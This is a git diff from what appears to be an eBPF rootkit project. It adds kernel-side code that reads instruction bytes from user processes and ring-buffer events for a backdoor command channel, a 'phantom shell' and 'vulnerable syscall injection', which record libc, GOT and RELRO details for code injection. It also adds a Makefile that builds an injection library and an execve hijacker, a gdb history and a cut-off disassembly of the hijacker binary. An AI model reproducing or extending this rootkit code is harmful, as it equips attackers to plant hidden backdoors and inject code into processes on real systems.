+ bpf_printk("ERROR writing: %li\n", ret); //EFAULT
+ char dest_buf[2];
+ if(ctx->ip-5 <=0){
+ return -1;
+ }
+ if((ret = bpf_probe_read_user(dest_buf, 2, (void*)ctx->ip-5))<0){
+ bpf_printk("Error reading instruction\n");
+ return -1;
+ }
+ //bpf_printk("Stack: %x\n", dest_buf);
+
+
+ return 0;
+}
+
+#endif
\ No newline at end of file
diff --git a/src/ebpf/include/data/ring_buffer.h b/src/ebpf/include/data/ring_buffer.h
index 2a497ef..7e3685e 100644
--- a/src/ebpf/include/data/ring_buffer.h
+++ b/src/ebpf/include/data/ring_buffer.h
@@ -54,7 +54,6 @@ static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer
if(!event){
return -1;
}
-
event->code = code;
event->event_type = COMMAND;
event->pid = pid;
@@ -80,6 +79,30 @@ static __always_inline int ring_buffer_send_request_update_phantom_shell(struct
event->event_type = PSH_UPDATE;
event->pid = pid;
event->bps_data = data;
+ bpf_ringbuf_submit(event, 0);
+ return 0;
+}
+
+/**
+ * @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
+ *
+ * @return 0 if ok, -1 if error
+ */
+static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, __s32 got_offset, int relro_active){
+ struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
+ if(!event){
+ return -1;
+ }
+ event->event_type = VULN_SYSCALL;
+ event->pid = pid;
+ event->libc_dlopen_mode_address = libc_dlopen_mode_address;
+ event->libc_main_address = libc_main_address;
+ event->libc_malloc_address = libc_malloc_address;
+ event->process_stack_return_address = process_stack_return_address;
+ event->syscall_address = syscall_address;
+ event->got_address = got_address;
+ event->relro_active = relro_active;
+ event->got_offset = got_offset;
bpf_ringbuf_submit(event, 0);
return 0;
diff --git a/src/ebpf/kit.bpf.c b/src/ebpf/kit.bpf.c
index 9beea61..48798fb 100644
--- a/src/ebpf/kit.bpf.c
+++ b/src/ebpf/kit.bpf.c
@@ -39,6 +39,7 @@
#include "include/bpf/sched.h"
#include "include/bpf/fs.h"
#include "include/bpf/exec.h"
+#include "include/bpf/injection.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
#define ETH_ALEN 6
diff --git a/src/helpers/.gdb_history b/src/helpers/.gdb_history
new file mode 100644
index 0000000..0652c69
--- /dev/null
+++ b/src/helpers/.gdb_history
@@ -0,0 +1,256 @@
+q
+disass main
+b *(main+446)
+r
+ssi
+si
+ni
+1
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+ni
+si
+ni
+si
+q
+b *(main+446)
+r
+si
+ni
+si
+si
+si
+fin
+q
+b *(main+446)
+r
+si
+ni
+si
+ni
+q
+b *(main+446)
+r
+si
+si
+ni
+si
+ni
+si
+si
+s
+q
+b *(main+446)
+r
+ni
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+ni
+si
+q
+r
+q
+b *(main+446)
+r
+si
+ni
+si
+ni
+si
+si
+si
+si
+display $fs
+display $fs:0x28
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+si
+ni
+si
+ni
+si
+q
+b *(main+446)
+r
+si
+q
+b *(main+446)
+r
+si
+ni
+si
+si
+ni
+q
+r
+q
+b *(main+446)
+r
+si
+c
+q
+r
+r
+q
+b *(main+446)
+r
+si
+ni
+si
+ni
+si
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+q
+b *(main+446)
+r
+si
+ni
+si
+ni
+si
+q
+b *(main+446)
+r
+si
+ni
+si
+q
+b *(main+446)
+r
+si
+q
+checksec
+q
+checksec
+q
+checksec
+q
+checksec
+q
+disass main
+b *(main+446)
+r
+si
+ni
+si
+ni
+si
+q
+b *(main+446)
+r
+x/20i 0x7ffff7ede560
+x/100i 0x7ffff7ede560
+x/1000i 0x7ffff7ede560
+q
+b *(main+446)
+r
+si
+disass /r 0x555555555130
+x/20b 0x555555557fd0
+q
+b timerfd_settime@plt
+r
+si
+q
+disass /r 0x555555555130
+b timerfd_settime
+r
+q
+b timerfd_settime@plt
+r
+disass /r 0x555555555130
+q
+b *(main+446)
+r
+si
+ni
+si
+ni
+si
+x/20b 0x5555555556fb
+disass /r 0x555555555134
+x/20b 0x5555555556fb
+q
+b *(main+446)
+r
+si
+fin
+si
+fin
+si
+fin
+q
+b *(main+446)
+r
+si
+ni
+x/20b 0x5555555556fb
+q
+b *(main+446)
+r
+si
+ni
+x/20b 0x5555555556fb
+q
+b *(main+446)
+r
+si
+ni
+q
+b *(main+446)
+r
+si
+ni
+si
+ni
+si
+q
diff --git a/src/helpers/Makefile b/src/helpers/Makefile
index 6aade0b..eab9a3c 100644
--- a/src/helpers/Makefile
+++ b/src/helpers/Makefile
@@ -3,14 +3,27 @@ HEADERS = lib/RawTCP.h
EXTRA_CFLAGS= -I$(PWD)/lib
default:
- make execve_hijack
+ make execve_hijack injection_lib simple_timer
+
+injection_lib: injection_lib.o
+ gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
+
+simple_timer.o: simple_timer.c $(HEADERS)
+ gcc -g -c simple_timer.c
+
+simple_timer: simple_timer.o
+ gcc -g -o simple_timer simple_timer.o
execve_hijack.o: execve_hijack.c $(HEADERS)
- gcc -c execve_hijack.c
+ gcc -g -c execve_hijack.c
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
- gcc -lm -o execve_hijack execve_hijack.o -L. lib/libRawTCP_Lib.a
+ gcc -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clean:
-rm -f execve_hijack.o
- -rm -f execve_hijack
\ No newline at end of file
+ -rm -f execve_hijack
+ -rm -f injection_lib.o
+ -rm -f injection_lib.so
+ -rm -f simple_timer.o
+ -rm -f simple_timer
\ No newline at end of file
diff --git a/src/helpers/execve_hijack.asm b/src/helpers/execve_hijack.asm
new file mode 100644
index 0000000..c5e4aa7
--- /dev/null
+++ b/src/helpers/execve_hijack.asm
@@ -0,0 +1,2611 @@
+
+execve_hijack: file format elf64-x86-64
+
+
+Disassembly of section .init:
+
+0000000000401000 <_init>:
+ 401000: f3 0f 1e fa endbr64
+ 401004: 48 83 ec 08 sub $0x8,%rsp
+ 401008: 48 8b 05 e9 3f 00 00 mov 0x3fe9(%rip),%rax # 404ff8 <__gmon_start__>
+ 40100f: 48 85 c0 test %rax,%rax
+ 401012: 74 02 je 401016 <_init+0x16>
+ 401014: ff d0 call *%rax
+ 401016: 48 83 c4 08 add $0x8,%rsp
+ 40101a: c3 ret
+
+Disassembly of section .plt:
+
+0000000000401020 :
+ 401020: ff 35 e2 3f 00 00 push 0x3fe2(%rip) # 405008 <_GLOBAL_OFFSET_TABLE_+0x8>
+ 401026: ff 25 e4 3f 00 00 jmp *0x3fe4(%rip) # 405010 <_GLOBAL_OFFSET_TABLE_+0x10>
+ 40102c: 0f 1f 40 00 nopl 0x0(%rax)
+
+0000000000401030 :
+ 401030: ff 25 e2 3f 00 00 jmp *0x3fe2(%rip) # 405018
+ 401036: 68 00 00 00 00 push $0x0
+ 40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401040 :
+ 401040: ff 25 da 3f 00 00 jmp *0x3fda(%rip) # 405020
+ 401046: 68 01 00 00 00 push $0x1
+ 40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401050 :
+ 401050: ff 25 d2 3f 00 00 jmp *0x3fd2(%rip) # 405028
+ 401056: 68 02 00 00 00 push $0x2
+ 40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401060 :
+ 401060: ff 25 ca 3f 00 00 jmp *0x3fca(%rip) # 405030
+ 401066: 68 03 00 00 00 push $0x3
+ 40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401070 :
+ 401070: ff 25 c2 3f 00 00 jmp *0x3fc2(%rip) # 405038
+ 401076: 68 04 00 00 00 push $0x4
+ 40107b: e9 a0 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401080 :
+ 401080: ff 25 ba 3f 00 00 jmp *0x3fba(%rip) # 405040
+ 401086: 68 05 00 00 00 push $0x5
+ 40108b: e9 90 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401090 :
+ 401090: ff 25 b2 3f 00 00 jmp *0x3fb2(%rip) # 405048
+ 401096: 68 06 00 00 00 push $0x6
+ 40109b: e9 80 ff ff ff jmp 401020 <_init+0x20>
+
+00000000004010a0 :
+ 4010a0: ff 25 aa 3f 00 00 jmp *0x3faa(%rip) # 405050
+ 4010a6: 68 07 00 00 00 push $0x7
+ 4010ab: e9 70 ff ff ff jmp 401020 <_init+0x20>
+
+00000000004010b0 :
+ 4010b0: ff 25 a2 3f 00 00 jmp *0x3fa2(%rip) # 405058
+ 4010b6: 68 08 00 00 00 push $0x8
+ 4010bb: e9 60 ff ff ff jmp 401020 <_init+0x20>
+
+00000000004010c0 <__stack_chk_fail@plt>:
+ 4010c0: ff 25 9a 3f 00 00 jmp *0x3f9a(%rip) # 405060 <__stack_chk_fail@GLIBC_2.4>
+ 4010c6: 68 09 00 00 00 push $0x9
+ 4010cb: e9 50 ff ff ff jmp 401020 <_init+0x20>
+
+00000000004010d0 :
+ 4010d0: ff 25 92 3f 00 00 jmp *0x3f92(%rip) # 405068
+ 4010d6: 68 0a 00 00 00 push $0xa
+ 4010db: e9 40 ff ff ff jmp 401020 <_init+0x20>
+
+00000000004010e0 :
+ 4010e0: ff 25 8a 3f 00 00 jmp *0x3f8a(%rip) # 405070
+ 4010e6: 68 0b 00 00 00 push $0xb
+ 4010eb: e9 30 ff ff ff jmp 401020 <_init+0x20>
+
+00000000004010f0 :
+ 4010f0: ff 25 82 3f 00 00 jmp *0x3f82(%rip) # 405078
+ 4010f6: 68 0c 00 00 00 push $0xc
+ 4010fb: e9 20 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401100 :
+ 401100: ff 25 7a 3f 00 00 jmp *0x3f7a(%rip) # 405080
+ 401106: 68 0d 00 00 00 push $0xd
+ 40110b: e9 10 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401110 :
+ 401110: ff 25 72 3f 00 00 jmp *0x3f72(%rip) # 405088
+ 401116: 68 0e 00 00 00 push $0xe
+ 40111b: e9 00 ff ff ff jmp 401020 <_init+0x20>
+
+0000000000401120 :
+ 401120: ff 25 6a 3f 00 00 jmp *0x3f6a(%rip) # 405090
+ 401126: 68 0f 00 00 00 push $0xf
+ 40112b: e9 f0 fe ff ff jmp 401020 <_init+0x20>
+
+0000000000401130 :
+ 401130: ff 25 62 3f 00 00 jmp *0x3f62(%rip) # 405098
+ 401136: 68 10 00 00 00 push $0x10
+ 40113b: e9 e0 fe ff ff jmp 401020 <_init+0x20>
+
+0000000000401140 :
+ 401140: ff 25 5a 3f 00 00 jmp *0x3f5a(%rip) # 4050a0
+ 401146: 68 11 00 00 00 push $0x11
+ 40114b: e9 d0 fe ff ff jmp 401020 <_init+0x20>
+
+0000000000401150 :
+ 401150: ff 25 52 3f 00 00 jmp *0x3f52(%rip) # 4050a8
+ 401156: 68 12 00 00 00 push $0x12
+ 40115b: e9 c0 fe ff ff jmp 401020 <_init+0x20>
+
+0000000000401160 :
+ 401160: ff 25 4a 3f 00 00 jmp *0x3f4a(%rip) # 4050b0
+ 401166: 68 13 00 00 00 push $0x13
+ 40116b: e9 b0 fe ff ff jmp 401020 <_init+0x20>
+
+0000000000401170 :
+ 401170: ff 25 42 3f 00 00 jmp *0x3f42(%rip) # 4050b8
+ 401176: 68 14 00 00 00 push $0x14
+ 40117b: e9 a0 fe ff ff jmp 401020 <_init+0x20>
+
+0000000000401180 :
+ 401180: ff 25 3a 3f 00 00 jmp *0x3f3a(%rip) # 4050c0
+ 401186: 68 15 00 00 00 push $0x15
+ 40118b: e9 90 fe ff ff jmp 401020 <_init+0x20>
+
+0000000000401190 :
+ 401190: ff 25 32 3f 00 00 jmp *0x3f32(%rip) # 4050c8
+ 401196: 68 16 00 00 00 push $0x16
+ 40119b: e9 80 fe ff ff jmp 401020 <_init+0x20>
+
+00000000004011a0 :
+ 4011a0: ff 25 2a 3f 00 00 jmp *0x3f2a(%rip) # 4050d0
+ 4011a6: 68 17 00 00 00 push $0x17
+ 4011ab: e9 70 fe ff ff jmp 401020 <_init+0x20>
+
+00000000004011b0 :
+ 4011b0: ff 25 22 3f 00 00 jmp *0x3f22(%rip) # 4050d8
+ 4011b6: 68 18 00 00 00 push $0x18
+ 4011bb: e9 60 fe ff ff jmp 401020 <_init+0x20>
+
+00000000004011c0 :
+ 4011c0: ff 25 1a 3f 00 00 jmp *0x3f1a(%rip) # 4050e0
+ 4011c6: 68 19 00 00 00 push $0x19
+ 4011cb: e9 50 fe ff ff jmp 401020 <_init+0x20>
+
+00000000004011d0 :
+ 4011d0: ff 25 12 3f 00 00 jmp *0x3f12(%rip) # 4050e8
+ 4011d6: 68 1a 00 00 00 push $0x1a
+ 4011db: e9 40 fe ff ff jmp 401020 <_init+0x20>
+
+00000000004011e0